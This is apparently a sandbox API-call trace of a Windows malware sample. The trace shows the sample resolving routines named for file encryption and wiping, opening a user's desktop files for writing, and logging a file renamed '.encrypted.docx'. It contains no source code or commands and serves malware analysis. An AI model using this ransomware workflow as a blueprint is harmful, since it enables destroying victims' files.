0 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.021] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.021] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.021] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.021] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.021] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.022] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.022] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.022] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.022] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.022] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.023] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.028] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.029] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.029] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.029] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.029] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.029] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.029] CharLowerBuffW (in: lpsz="byte[69534]", cchLength=0xb | out: lpsz="byte[69534]") returned 0xb [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.031] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.031] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.031] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.032] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.032] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.036] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.036] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.036] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.036] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.036] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.037] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.037] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.037] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.037] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.037] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.037] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.037] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.038] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.038] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.038] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.040] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.040] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.040] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.040] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.040] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.040] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.041] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.041] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.041] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.041] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=366) returned 1 [0022.041] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.041] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.041] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.041] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x16e, lpOverlapped=0x0) returned 1 [0022.041] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.041] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x16e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.041] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=366) returned 1 [0022.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.encrypted.docx\r\n", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0022.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.encrypted.docx\r\n", cchWideChar=61, lpMultiByteStr=0xe8f4051b80, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.encrypted.docx\r\n", lpUsedDefaultChar=0x0) returned 61 [0022.041] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4052080*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4052080*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3c, lpOverlapped=0x0) returned 1 [0022.041] CloseHandle (hObject=0x1fc) returned 1 [0022.043] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.043] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.044] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.044] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.044] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.044] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.044] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.044] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.045] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178520, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.045] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.045] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.mkv", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0022.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.mkv", cchWideChar=39, lpMultiByteStr=0xe8f41885d0, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.mkv", lpUsedDefaultChar=0x0) returned 39 [0022.046] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.mkv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\2u 4q.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=39, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0022.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=39, lpWideCharStr=0xe8f4069a70, cchWideChar=39 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.mkv") returned 39 [0022.047] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.047] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.048] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.048] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.048] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.048] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.048] CloseHandle (hObject=0x1fc) returned 1 [0022.048] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.048] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.049] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.049] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.049] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.049] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.049] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.049] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.049] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.049] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.049] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.050] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 